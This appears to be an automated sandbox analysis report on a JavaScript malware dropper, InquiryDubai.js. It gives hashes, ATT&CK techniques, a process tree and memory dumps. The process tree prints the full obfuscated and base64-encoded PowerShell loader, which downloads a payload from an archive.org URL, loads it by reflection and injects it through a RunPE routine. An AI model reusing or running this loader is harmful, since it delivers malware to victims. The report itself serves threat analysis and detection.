228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457

General

Target

InquiryDubai.js
Size

320KB
MD5

b54f5c7cb5ac3d69127941e40966ab0c
SHA1

c75973c8bee061c5e4994e2e9da6ebb830719e31
SHA256

228256bcfebb67586f77a39f116251815bf29a78a2d2a1370016455b9b090457
SHA512

26b0b14d52ed23906448121c2078e032fda790df95cd27c49a888fba3b17f725d494fc89298a6a99e795faa594de1ea4739a113331129bc3395f22a387f53987
SSDEEP

6144:6Xx8rS9pLPEFSkgJisDKPdGuoKeM4k6iPrjt5DiqVAo2JIF1wS8TeBVDm6T3ViZ5:wx2spLPEFSkUisDKVA5k6arjLDi2PmCC

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2064	powershell.exe
6	2064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2064	powershell.exe
2472	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2472	powershell.exe
2064	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	2064	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 2472	1916	wscript.exe	31
PID 1916 wrote to memory of 2472	1916	wscript.exe	31
PID 1916 wrote to memory of 2472	1916	wscript.exe	31
PID 2472 wrote to memory of 2064	2472	powershell.exe	33
PID 2472 wrote to memory of 2064	2472	powershell.exe	33
PID 2472 wrote to memory of 2064	2472	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\InquiryDubai.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAEUAMwB6ACcAKwAnAHUAcgBsACAAPQAgAGgAaQB6AGgAdAB0AHAAcwA6AC8ALwAnACsAJwBpAGEAJwArACcAOQAwACcAKwAnADQANgAwADEALgB1AHMALgBhAHIAYwBoAGkAdgBlAC4AJwArACcAbwByAGcALwA2AC8AaQAnACsAJwB0AGUAbQBzAC8AZABlAHQAJwArACcAYQBoAC0AbgBvAHQAZQAtACcAKwAnAGoAJwArACcALwAnACsAJwBEACcAKwAnAGUAdABhAGgATgBvAHQAZQBKACcAKwAnAC4AdAB4AHQAJwArACcAaABpAHoAJwArACcAOwBFACcAKwAnADMAegAnACsAJwBiACcAKwAnAGEAcwBlACcAKwAnADYANABDACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnACAAPQAnACsAJwAgACgATgAnACsAJwBlAHcALQBPAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAgAFMAeQAnACsAJwBzAHQAZQBtAC4ATgAnACsAJwBlAHQALgBXAGUAJwArACcAYgBDAGwAJwArACcAaQBlACcAKwAnAG4AdAApAC4ARABvAHcAbgAnACsAJwBsAG8AJwArACcAYQBkAFMAdAByAGkAbgBnACgAJwArACcARQAzAHoAJwArACcAdQByAGwAKQA7AEUAMwB6ACcAKwAnAGIAaQBuAGEAcgB5AEMAbwBuAHQAJwArACcAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuACcAKwAnAHYAZQAnACsAJwByAHQAXQA6ADoARgByAG8AbQAnACsAJwBCAGEAcwAnACsAJwBlADYANABTAHQAcgBpAG4AZwAnACsAJwAoAEUAMwB6AGIAYQBzAGUANgAnACsAJwA0AEMAbwBuAHQAZQBuAHQAKQA7AEUAMwAnACsAJwB6AGEAcwBzAGUAJwArACcAbQBiAGwAeQAgAD0AIAAnACsAJwBbAFIAZQAnACsAJwBmAGwAZQAnACsAJwBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ACcAKwAnADoATABvAGEAZAAoACcAKwAnAEUAMwB6AGIAaQBuAGEAcgB5AEMAbwAnACsAJwBuACcAKwAnAHQAZQAnACsAJwBuAHQAKQA7AEUAMwB6AHQAeQAnACsAJwBwAGUAIAAnACsAJwA9ACcAKwAnACAARQAzAHoAJwArACcAYQBzACcAKwAnAHMAZQBtACcAKwAnAGIAbAB5ACcAKwAnAC4ARwAnACsAJwBlAHQAVAB5AHAAZQAnACsAJwAoAGgAJwArACcAaQB6AFIAdQBuAFAARQAuAEgAbwBtAGUAaABpAHoAJwArACcAKQAnACsAJwA7AEUAMwB6ACcAKwAnAG0AZQB0AGgAJwArACcAbwBkACcAKwAnACAAPQAgAEUAMwB6AHQAeQAnACsAJwBwAGUALgBHACcAKwAnAGUAdABNAGUAdAAnACsAJwBoACcAKwAnAG8AJwArACcAZAAoAGgAaQB6AFYAQQAnACsAJwBJACcAKwAnAGgAaQB6ACkAJwArACcAOwBFADMAegBtACcAKwAnAGUAdABoAG8AZAAuAEkAbgB2AG8AJwArACcAawBlACgARQAzAHoAbgB1AGwAbAAnACsAJwAsACcAKwAnACAAJwArACcAWwBvAGIAagBlACcAKwAnAGMAJwArACcAdABbACcAKwAnAF0AXQAnACsAJwBAACcAKwAnACgAaABpAHoAdAAnACsAJwB4AHQALgA5ADkAMQAvACcAKwAnAHYAJwArACcAZQAnACsAJwBkAC4AJwArACcAMgByACcAKwAnAC4ANAA3ACcAKwAnAGEAZgAzACcAKwAnADIAYQBlAGMAOABlACcAKwAnADYAJwArACcAMABhADcAOAAyADcAOQA0ADYAJwArACcAMAAzACcAKwAnAGMAMABiADEAMwA0AGMAOQAzAC0AJwArACcAYgB1AHAAJwArACcALwAvADoAcwBwAHQAdAAnACsAJwBoACcAKwAnAGgAJwArACcAaQAnACsAJwB6ACAALAAgAGgAaQAnACsAJwB6AGQAZQBzAGEAdABpACcAKwAnAHYAYQBkAG8AaABpACcAKwAnAHoAIAAsACAAaABpAHoAJwArACcAZABlAHMAJwArACcAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAegAgACwAJwArACcAIABoAGkAegBkAGUAJwArACcAcwBhAHQAaQAnACsAJwB2AGEAZAAnACsAJwBvAGgAaQAnACsAJwB6ACcAKwAnACwAJwArACcAaABpAHoAJwArACcAQQBkACcAKwAnAGQASQBuAFAAcgAnACsAJwBvAGMAZQBzACcAKwAnAHMAJwArACcAMwAyAGgAJwArACcAaQB6ACwAaABpAHoAJwArACcAZABlAHMAYQB0AGkAdgBhACcAKwAnAGQAbwBoAGkAJwArACcAegApACcAKwAnACkAJwArACcAOwAnACkALgBSAEUAUABsAEEAQwBFACgAKABbAGMASABhAFIAXQA2ADkAKwBbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADIAMgApACwAJwAkACcAKQAuAFIARQBQAGwAQQBDAEUAKAAoAFsAYwBIAGEAUgBdADEAMAA0ACsAWwBjAEgAYQBSAF0AMQAwADUAKwBbAGMASABhAFIAXQAxADIAMgApACwAWwBzAHQAcgBJAE4AZwBdAFsAYwBIAGEAUgBdADMAOQApACAAfAAmACAAKAAgACQARQBOAHYAOgBDAE8AbQBTAHAARQBDAFsANAAsADIANAAsADIANQBdAC0AagBPAEkATgAnACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('E3z'+'url = hizhttps://'+'ia'+'90'+'4601.us.archive.'+'org/6/i'+'tems/det'+'ah-note-'+'j'+'/'+'D'+'etahNoteJ'+'.txt'+'hiz'+';E'+'3z'+'b'+'ase'+'64C'+'ontent'+' ='+' (N'+'ew-Ob'+'j'+'ec'+'t Sy'+'stem.N'+'et.We'+'bCl'+'ie'+'nt).Down'+'lo'+'adString('+'E3z'+'url);E3z'+'binaryCont'+'ent = [System.Con'+'ve'+'rt]::From'+'Bas'+'e64String'+'(E3zbase6'+'4Content);E3'+'zasse'+'mbly = '+'[Re'+'fle'+'ction.Asse'+'mbly]:'+':Load('+'E3zbinaryCo'+'n'+'te'+'nt);E3zty'+'pe '+'='+' E3z'+'as'+'sem'+'bly'+'.G'+'etType'+'(h'+'izRunPE.Homehiz'+')'+';E3z'+'meth'+'od'+' = E3zty'+'pe.G'+'etMet'+'h'+'o'+'d(hizVA'+'I'+'hiz)'+';E3zm'+'ethod.Invo'+'ke(E3znull'+','+' '+'[obje'+'c'+'t['+']]'+'@'+'(hizt'+'xt.991/'+'v'+'e'+'d.'+'2r'+'.47'+'af3'+'2aec8e'+'6'+'0a7827946'+'03'+'c0b134c93-'+'bup'+'//:sptt'+'h'+'h'+'i'+'z , hi'+'zdesati'+'vadohi'+'z , hiz'+'des'+'ativa'+'dohiz ,'+' hizde'+'sati'+'vad'+'ohi'+'z'+','+'hiz'+'Ad'+'dInPr'+'oces'+'s'+'32h'+'iz,hiz'+'desativa'+'dohi'+'z)'+')'+';').REPlACE(([cHaR]69+[cHaR]51+[cHaR]122),'$').REPlACE(([cHaR]104+[cHaR]105+[cHaR]122),[strINg][cHaR]39) |& ( $ENv:COmSpEC[4,24,25]-jOIN'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d864cf3cb4830a17ca75bab6cde4f83f

SHA1
db38485f051e0c9e966476a9de35d22be27ff2f9

SHA256
40d28e7d9b050b155f572ade71ff06f752b43a23bd47e4d228a6c8d97bbb7864

SHA512
0946f711361f480fd3d264d4c36fe3000f01f9e780f7068ab6412d8e2efcaaf8d8747e9f9b89b1438226c802f0ed1acec1a996a9529a1ab6c6c8a20f64c2bd9b

Download Submit
memory/2472-4-0x000007FEF5B1E000-0x000007FEF5B1F000-memory.dmp

Filesize
4KB

Download
memory/2472-6-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2472-5-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2472-7-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download
memory/2472-8-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download
memory/2472-14-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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